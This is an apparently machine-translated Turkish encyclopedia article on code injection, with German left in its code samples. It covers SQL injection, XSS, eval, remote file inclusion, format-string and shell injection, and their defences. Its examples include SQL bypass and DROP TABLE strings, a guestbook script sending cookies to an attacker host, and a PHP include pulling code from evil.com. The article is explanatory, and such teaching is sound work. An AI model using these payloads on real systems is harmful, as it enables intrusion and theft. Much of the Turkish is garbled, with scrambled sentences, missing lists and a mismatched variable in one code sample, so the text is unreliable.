Kod enjeksiyonu

Kod enjeksiyonu , geçersiz verilerin işlenmesinden kaynaklanan bir bilgisayar arızasının istismarıdır . Enjeksiyon, bir tarafından kullanılan saldırgan için kaçırmaya (veya "iğne") kodu , bir kırılgan içine bilgisayar programı ve değiştirmek için kendi akışını yürütülmesi . Başarılı bir kod yerleştirmenin sonucu yıkıcı olabilir, örn. B. bilgisayar virüslerini veya bilgisayar solucanlarını yayabilir.

Kod yerleştirme güvenlik açıkları, bir uygulama bir yorumlayıcıya güvenilmeyen veriler gönderdiğinde ortaya çıkar . Enjeksiyon güvenlik açıkları en yaygın olarak SQL , LDAP , XPath , NoSQL sorgularında, işletim sistemi komutlarında, XML ayrıştırıcılarında , SMTP başlıklarında, program bağımsız değişkenlerinde vb. bulunur. Enjeksiyon güvenlik açıklarını, test etmekten ziyade kaynak kodu inceleyerek keşfetmek genellikle daha kolaydır. Tarayıcılar ve fuzzer'lar, enjeksiyon güvenlik açıklarını bulmaya yardımcı olabilir.

Enjeksiyon, veri kaybına veya bozulmasına, sorumluluk eksikliğine veya erişimin reddedilmesine neden olabilir . Enjeksiyon bazen tam bir ana bilgisayar devralınmasıyla sonuçlanabilir.

Belirli kod yerleştirme türleri, kullanıcı girişine özel bir anlam veren yorumlama hatalarıdır. Bilgisayar bilimi dışında da benzer yorumlama hataları var, ör. B. komedi rutininde İlk sıra kimde? . Bu rutinde özel isimler normal kelimelerden ayırt edilmez. Benzer şekilde, bazı kod yerleştirme türleri, kullanıcı girişi ve sistem komutları arasında ayrım yapmaz.

Kod enjeksiyon teknikleri, bilgi, ayrıcalık yükseltme veya bir sisteme yetkisiz erişim elde etmek için sistem korsanlığı veya kırma işlemlerinde popülerdir . Kod yerleştirme, aşağıdakiler gibi birçok amaç için kötü niyetli olarak kullanılabilir: B:

2008'de, tüm güvenlik açıklarının %5,66'sı o yıl kod enjeksiyonu olarak sınıflandırıldı ve bu , kaydedilen en yüksek sayıydı. 2015'te bu oran %0.77'ye düşmüştü.

İyi ve istenmeyen kullanım

Kod enjeksiyonu iyi niyetle kullanılabilir; örneğin, bir programın veya sistemin davranışını kod yerleştirme yoluyla değiştirmek veya optimize etmek, sistemin herhangi bir kötü niyet olmaksızın belirli bir şekilde davranmasına neden olabilir. Kod enjeksiyonu örneğin:

  • Arama sonuçları sayfasının orijinal tasarımında yer almayan kullanışlı yeni bir sütun tanıtın.
  • Orijinal tasarımın standart işlevselliğine dahil olmayan bir alanı kullanarak verileri filtrelemek, sıralamak veya gruplamak için yeni bir yol sağlayın.
  • Dropbox gibi programlarla ilgili olarak, çevrimdışı bir programda çevrimiçi kaynaklara bağlanmak için kullanılabilecek özel parçalar ekleyin.
  • Belirli libc işlevleriyle aynı ada sahip bir işlevi tanımlamak, bu işlevi bir kitaplık olarak bağlamak ve libc işlevinin kullanımını geçersiz kılmak için Linux Dinamik Bağlayıcı'yı kullanın.

Bazı kullanıcılar, bir programa girdikleri girdi, sistemi ilk tasarlayanlar tarafından dikkate alınmadığından, kod enjeksiyonlarından şüphelenmeyebilir. Örneğin:

  • Kullanıcının geçerli olduğunu düşündüğü girdi , geliştirici tarafından özel anlam verilen belirteç karakterleri veya dizeleri içerebilir (belki "Shannon & Jason"daki "&" veya "Bub 'Slugger' McCracken" içindeki tırnak işaretleri).
  • Kullanıcı hatalı biçimlendirilmiş bir dosyayı girdi olarak gönderebilir, bu dosya bir uygulamada doğru şekilde işlenir ancak alıcı sisteme zarar verir.

Kod yerleştirmenin bir başka iyi niyetli kullanımı, bu hataları düzeltmek amacıyla enjeksiyon hatalarının kendisini keşfetmek olabilir. Bu beyaz şapka olarak bilinir. Penetrasyon testi .

Sorunları Önleme

Kod ekleme sorunlarını önlemek için aşağıdakiler gibi güvenli giriş ve çıkış işleme kullanın: B.:

  • Doğru kullanıldığında tüm giriş karakterlerine karşı güvenli olan API'lerin kullanımı. Parametreli sorgular ("derlenmiş sorgular", "hazırlanmış ifadeler", "bağlı değişkenler" olarak da bilinir) kullanıcı verilerinin yorumlanacak karakter dizisinden değiştirilmesine izin verir. Ayrıca, Criteria API ve benzeri API'ler, oluşturulacak ve yorumlanacak komut dizelerinin konseptine bağlı olabilir.
  • Statik bir tür sistemi kullanarak dil ayrımını zorlayın.
  • Giriş doğrulama, ör. B. Yalnızca bilinen iyi değerlerin beyaz listeye alınması . B. JavaScript ile veya daha güvenli olan sunucu tarafında yapılabilir.
  • Giriş kodlaması, örn. B. tehlikeli karakterlerden kaçmak. PHP'de ör. B. htmlspecialchars()HTML'deki metnin güvenli çıktısı için özel karakterlerden kaçma ve mysqli::real_escape_string()SQL enjeksiyonuna karşı koruma sağlamak için bir SQL sorgusunda bulunan verileri yalıtma işleviyle .
  • Çıkış kodlaması, d. H. Web sitesi ziyaretçilerine yönelik HTML enjeksiyon saldırılarının önlenmesi
  • HttpOnlyayarlandığında, tanımlama bilgileri ile istemci tarafı komut dosyası etkileşimine izin vermeyen, böylece belirli XSS saldırılarını önleyen HTTP tanımlama bilgileri için bir bayraktır .
  • Çekirdekten modüler kabuk ayırma
  • SQL yerleştirme ile kod yerleştirme sorunlarını azaltmak için parametreli sorguları, saklı yordamları , beyaz liste giriş doğrulamasını ve daha fazlasını kullanabilirsiniz.

Yukarıda listelenen çözümler, öncelikle web tabanlı HTML veya komut dosyası kodunun bir sunucu tarafı uygulamasına eklenmesiyle ilgilidir. Ancak, kullanıcı kodunun kullanıcının bilgisayarına enjeksiyonu için başka yaklaşımlar seçilmelidir, bu da yüksek yetkili saldırılara yol açar. Yönetilen ve yönetilmeyen kod enjeksiyonlarını algılamak ve izole etmek için kullanılan bazı yaklaşımlar şunlardır:

  • Run-Time Image Hash Validation - Belleğe yüklenen yürütülebilir dosyanın görüntüsünün bir kısmının veya tamamının bir karmasını yakalamak ve bunu saklanan ve beklenen karma ile karşılaştırmak.
  • NX bit - NX bit - tüm kullanıcı verileri yürütülemez olarak işaretlenmiş özel bir bellek alanında saklanır. İşlemciyi belleğin bu bölümünde kod olmadığı konusunda uyarır ve orada bulduğu her şeyi yapmayı reddeder.
  • Kanaryalar - değerleri rastgele bir yığına yerleştirin. Bir işlev döndüğünde, çalışma zamanında bir kanarya kontrol edilir. Bir kanarya değiştirilmişse, program çalışmayı durdurur ve çıkar. Bu, yığın taşması saldırısıyla olur.
  • C Kodu İşaretçi Maskelemede (CPM) - (potansiyel olarak değiştirilmiş) bir kod işaretçisini bir kayıt defterine yükledikten sonra işaretçiye bir bit maskesi uygulanır. Bu, işaretçinin başvurabileceği adresleri etkili bir şekilde kısıtlar.

Örnekler

SQL enjeksiyonu

SQL enjeksiyonu, bir veritabanını okuyabilen veya değiştirebilen veya orijinal sorgunun anlamına müdahale edebilen komutları enjekte etmek için SQL sözdiziminden yararlanır.

Örneğin, iki alanı olan bir web sitesi düşünün: alan-1 kullanıcı bir kullanıcı adı ve alan-2 bir şifre girer. Sayfanın arkasındaki kod , girdileri bir veritabanı tablosuyla karşılaştırmak için bir SQL sorgusu oluşturur :

SELECT BenutzerListe.Benutzername
FROM BenutzerListe
WHERE BenutzerListe.Benutzername = <Inhalt von Feld-1>
AND BenutzerListe.Password = <Inhalt von Feld-2>

Tabloda BenutzerListekullanıcı tarafından girilenlerle aynı kullanıcı adı ve şifreye sahip bir giriş varsa bu sorgu başarılı olacaktır .

Ancak, kötü niyetli kullanıcı alan-1'e geçerli bir kullanıcı adı ve alan-2'ye kodu girerse XYZ' OR '1'='1'aşağıdaki sorgu ortaya çıkar:

SELECT BenutzerListe.Benutzername
FROM BenutzerListe
WHERE BenutzerListe.Benutzername = <Inhalt von Feld-1>
AND BenutzerListe.Password = 'XYZ' OR '1'='1'

Bu sorgu yalnızca "XYZ" kullanıcı adı ve parolasıyla (bu çok nadiren böyle olmalıdır) bir giriş varsa değil, aynı zamanda kullanıcı adı ve 1 = 1 varsa (ve bu her zaman böyledir) başarılı olur. Böylece sistem erişime izin verecektir.

İkinci bir örnek: saldırganın kullanıcı adı aşağıdaki kod: ';DROP TABLE BenutzerListe; --. Bu durumda aşağıdaki veritabanı sorgusu ortaya çıkar:

SELECT BenutzerListe.Benutzername
FROM BenutzerListe
WHERE BenutzerListe.Benutzername = '';
DROP TABLE BenutzerListe;
--AND BenutzerListe.Passwort = ''

Veritabanı açısından bakıldığında, bunlar her biri noktalı virgülle ayrılmış üç farklı ifadedir. İlki, boş bir kullanıcı adına sahip bir veritabanı girişi arar. Bir şey bulup bulmaması önemli değil, çünkü bir sonraki şey tüm tabloyu BenutzerListehemen ve onay almadan silen bir DROP ifadesidir . Gerisi, baştaki kısa çizgiler nedeniyle yorum olarak kabul edilir, yani yok sayılır. Silme komutuyla o anda tüm veritabanı yok edildi çünkü artık kullanıcı adları ve şifreleri içeren bir tablo içermiyor.

Siteler arası komut dosyası oluşturma

Kod yerleştirme, kodun bir uygulamaya kötü niyetli girişidir. Örneğin, bazı web siteleri ziyaretçilerin küçük mesajlar bırakabilecekleri bir ziyaretçi defteri sunar .

Sehr schöne Seite!

Ancak, kötü niyetli bir kişi, ziyaretçi defterindeki bir kod yerleştirme güvenlik açığından haberdar olabilir ve aşağıdaki gibi bir mesaj bırakabilir:

Schöne Seite, ich denke, ich werde sie missbrauchen. <script>window.location="https://angreifer/bösescgi/cookie.cgi?steal=" + escape(document.cookie)</script>

Başka bir ziyaretçi ziyaret sayfa, onlar bölgeyi uymayacaksan <script>için </script>hiç - yerine onu görüntüleme, tarayıcı hemen kendi bilgisayarında bu komut dosyası kodunu çalıştırır. Bunu yaparken sadece bilgisayarı tehlikeye atmakla kalmaz, aynı zamanda az önce ziyaret ettiği web sitesinde - kullanıcı orada oturum açmışsa, kullanıcı haklarıyla istenmeyen eylemleri de gerçekleştirebilir.

Şüphelenmeyen bir kullanıcının oturumuna bu komut dosyası enjeksiyonu, " siteler arası komut dosyası çalıştırma " veya "XSS" olarak bilinir . Konuk defteri komut dosyası, hangi giriş verilerinin mümkün olabileceğine dair saf varsayımlara dayanarak, ilk kullanıcının kodunu kontrol edilmeden çıktılanacak HTML metnine aktardı.

Dinamik değerlendirme zayıflıkları

Bir -enjeksiyon güvenlik açığı, bir saldırgan bir -fonksiyona çağrılan bir giriş dizesinin tamamını veya bir kısmını denetleyebildiğinde ortaya çıkar .eval()eval()

$myvar = 'somevalue';
$x = $_GET['arg'];
eval('$myvar = ' . $x . ';');

" eval" argümanı PHP olarak işlenir , böylece başka komutlar eklenebilir. Örneğin, "arg" " " olarak ayarlanırsa , sunucuda bir programı yürüten ek kod yürütülür, bu durumda " ". 10; system('/bin/echo uh-oh')/bin/echo

Nesne enjeksiyonu

PHP , tüm nesnelerin serileştirilmesine ve seri durumdan çıkarılmasına izin verir . Seri durumdan çıkarma tesisine güvenilmeyen girdilere izin vermek, programdaki mevcut sınıfları geçersiz kılabilir ve kötü niyetli saldırılar gerçekleştirebilir. Üzerinde böyle bir saldırı Joomla 2013 yılında bulunmuştur.

Uzaktan dosya enjeksiyonu

Bu PHP programını (istek tarafından belirtilen bir dosyayı içeren) göz önünde bulundurun:

<?php
$color = 'blue';
if (isset($_GET['Farbe']))
    $color = $_GET['color'];
require($color . '.php');

Örnek, yalnızca blau.phpve gibi renkli dosyaları rot.phpyüklemek için okunabilirken , saldırganlar COLOR=http://evil.com/exploitPHP'nin harici dosyayı yüklemesine neyin neden olduğunu belirtebilir.

Biçim belirteci enjeksiyonu

Biçimlendirme dizesi hataları, bir programcı kullanıcı tarafından sağlanan verileri içeren bir dize çıktısı almaya çalıştığında en yaygın olanıdır. Programcı printf(buffer)bunun yerine yanlış yazabilir printf("%s", buffer). İlk sürüm, onu pufferbir biçimlendirme dizesi olarak yorumlar ve içerdiği tüm biçimlendirme yönergelerini ayrıştırır. İkinci sürüm, programcının amaçladığı şekilde ekranda bir dizi karakter yazdırır.

PasswortParola içeren bir yerel değişken char dizisine sahip aşağıdaki kısa C programını düşünün ; program kullanıcıdan bir tamsayı ve bir dize ister, ardından kullanıcı tarafından belirtilen dizeyi çıkarır.

  char user_input[100];
  int int_in;
  char passwort[10] = "Passwort1";

  printf("Geben Sie eine ganze Zahl ein.");
  scanf("%d", &int_in);
  printf("Bitte geben Sie einen String\n");
  fgets(user_input, sizeof(user_input), stdin);

  printf(user_input); // Sichere Version ist: printf("%s", user_input);
  printf("\n");

  return 0;

Kullanıcı girişi , gibi bir biçim belirtimleri listesiyle %s%s%s%s%s%s%s%sdolduğunda printf(), yığından okumaya başlar . Sonunda, %sformatlayıcılardan biri Passwortyığında bulunan adresine erişecek Passwort1ve ekrana yazdıracaktır .

Kabuk enjeksiyonu

Kabuk enjeksiyonu (veya komut enjeksiyonu) Unix kabukları için adlandırılmıştır, ancak yazılımın programlı olarak bir komut satırını yürütmesine izin veren çoğu sistem için geçerlidir . İşte savunmasız bir tcsh komut dosyası örneği :

#!/bin/tcsh
# überprüfe arg-Ausgaben es passt, wenn arg eins ist
if ($1 == 1) echo it matches

Yürütülebilir dosyadaki yukarıdakilerle ./check, kabuk komutu , argümanı sabitle karşılaştırmak yerine ./check " 1 ) evil"enjekte edilen kabuk komutunu çalıştırmayı deneyecektir evil. Burada saldırıya uğrayan kod, parametreyi kontrol etmeye çalışan koddur, yani bir saldırıyı önlemek için parametreyi doğrulamaya çalışmış olabilecek koddur.

Bir kabuk komutu oluşturmak ve yürütmek için kullanılabilecek herhangi bir işlev, bir kabuk enjeksiyon saldırısı başlatmak için potansiyel bir araçtır. Bunlar arasında system(), StartProcess()ve System.Diagnostics.Process.Start().

Web sunucularıyla etkileşime giren web tarayıcıları gibi istemci-sunucu sistemleri , kabuk enjeksiyonuna karşı potansiyel olarak savunmasızdır. Kullanıcı tarafından gönderilen bir kelimeyi başka bir kelimeyle değiştiren harici bir programı çalıştırmak için bir web sunucusunda çalıştırılabilen aşağıdaki kısa PHP programını düşünün . funnytext

<?php
passthru("/bin/funnytext " . $_GET['USER_INPUT']);

Yukarıdaki passthruörnek, daha sonra web sunucusu tarafından yürütülen bir kabuk komutu oluşturur. Oluşturulan komutun bir kısmı web tarayıcısı tarafından sağlanan URL'den alındığından, URL kötü amaçlı kabuk komutları enjekte edebilir. Çeşitli kabuk işlevlerinin söz diziminden yararlanarak bu programa kod eklemenin birkaç yolu vardır (bu liste ayrıntılı değildir):

Bazı diller, kabuk komutları oluşturmak veya bunları tırnak içine almak için kullanılan karakter dizilerinden doğru şekilde kaçmak için işlevler sunar:

Ancak bu yine de programcının bu işlevleri bilmesi/öğrenmesi ve kabuk komutlarını her kullandıklarında kullanmayı unutmaması gerektiği anlamına gelir. Bu özellikleri kullanmaya ek olarak, kullanıcı girişini doğrulamanız veya sterilize etmeniz önerilir.

Daha güvenli bir alternatif, kabuk enjeksiyon olasılığını önleyen bir kabuk yerine doğrudan harici programları çalıştıran API'leri kullanmaktır. Ancak bu API'ler, kabukların çeşitli kolaylık işlevlerini desteklememe ve/veya özlü kabuk sözdizimine kıyasla daha hantal/ayrıntılı olma eğilimindedir.

Ayrıca bakınız

Dış bağlantılar

kabarma

  1. upenn.edu/computing/security/swat/SWAT_Top_Ten_A6.php En İyi 10 Web Uygulaması Güvenlik Açıklığı . Pensilvanya Üniversitesi. Arşivlenmiş orijinal 10 Aralık 2016 tarihinde 24 Şubat 2018 alınır üzerine.
  2. OWASP İlk 10 2013 A1: Enjeksiyon Kusurları . OWASP. 19 Aralık 2013'te erişildi.
  3. ^ NVD - İstatistik Arama . 9 Aralık 2016'da erişildi.
  4. Raghunathan Srinivasan: arşiv.org/web/ 20100729023112/http: //www.public.asu.edu/~rsriniv8/Documents/srini-das.pdf Daha Etkili Virüs Dedektörlerine Doğru . İçinde: Arizona Eyalet Üniversitesi . Arşivlenmiş orijinal 29 Temmuz'da, 2010. Alınan 18 Eylül 2010: "Bir kullanıcı, sistem gereksinimlerine göre bir programın davranışını değiştirdiğinde kod enjeksiyon Yardımsever kullanımı ortaya çıkar."
  5. Jose Andre Morales, Erhan Kartaltepe, Shouhuai Xu, Ravi Sandhu: Bot Süreçlerinin Belirtilere Dayalı Tespiti . İçinde: Bilgisayar Bilimi Ders Notları . Springer, Berlin, Heidelberg 2010, ISBN 978-3-642-14705-0 , doi : 10.1007 / 978-3-642-14706-7_18 .
  6. Dinamik bağlayıcı hileleri: LD_PRELOAD ile hile yapın, işlevleri enjekte edin ve programları inceleyin . 2 Nisan 2013. Erişim tarihi: 10 Aralık 2016.
  7. Java EE 6 Eğitimi: Bölüm 35, Sorgular Oluşturmak için Ölçüt API'sini Kullanma . Oracle. 19 Aralık 2013'te erişildi.
  8. Tom Moertel: "string problemine" tip tabanlı bir çözüm: XSS ve SQL enjeksiyon delikleri için uygun bir son mu? . 18 Ekim 2006. Erişim tarihi: 21 Ekim 2018.
  9. Yalnızca Http . 12 Kasım 2014. Erişim tarihi: 10 Aralık 2016.
  10. ^ SQL Enjeksiyon Önleme Hile Sayfası . Erişim tarihi: 10 Aralık 2016.
  11. Pieter Philippaerts, Yves Younan, Stijn Muylle, Frank Piessens, Sven Lachmund, Thomas Walter: CPM: Kod Enjeksiyonu Saldırılarını Önlemek için Kod İşaretçilerini Maskeleme . İçinde: Bilgi ve Sistem Güvenliğine İlişkin ACM İşlemleri . 16, No. 1, 1 Haziran 2013, ISSN  1094-9224 , sayfa 1-27. doi : 10.1145 / 2487222.2487223 .
  12. ^ Brian Hope, Paco Hope, Ben Walther: Web Güvenliği Testi Yemek Kitabı . O'Reilly Media , Sivastopol, CA May 15, 2009, ISBN 978-0-596-51483-9 , s.  254 , OCLC 297.573.828 .
  13. Steven M. Christey: PHP Uygulamalarında Dinamik Değerlendirme Açıkları. 3 Mayıs 2006, erişim tarihi 21 Ekim 2018 .
  14. unsialize notları Unsialize fonksiyon uyarıları . PHP.net.
  15. Joomla PHP Nesne Enjeksiyon Güvenlik Açığı Analizi . 6 Haziran 2014'te erişildi.
  16. Komut Enjeksiyonu . OWASP.
  17. ^ Douglas W. Jones, CS: 3620 Notes, Lecture 4 - Shell Scripts , Spring 2018.
  18. sistem (3) - Linux kılavuz sayfası , linux.die.net üzerinde
  19. Aşırı yüklemeler , msdn.microsoft.com'da
  20. Komut Enjeksiyonu . Arşivlenmiş orijinal 27 Şubat 2015 tarihinde 27 Şubat 2015 alınır üzerine.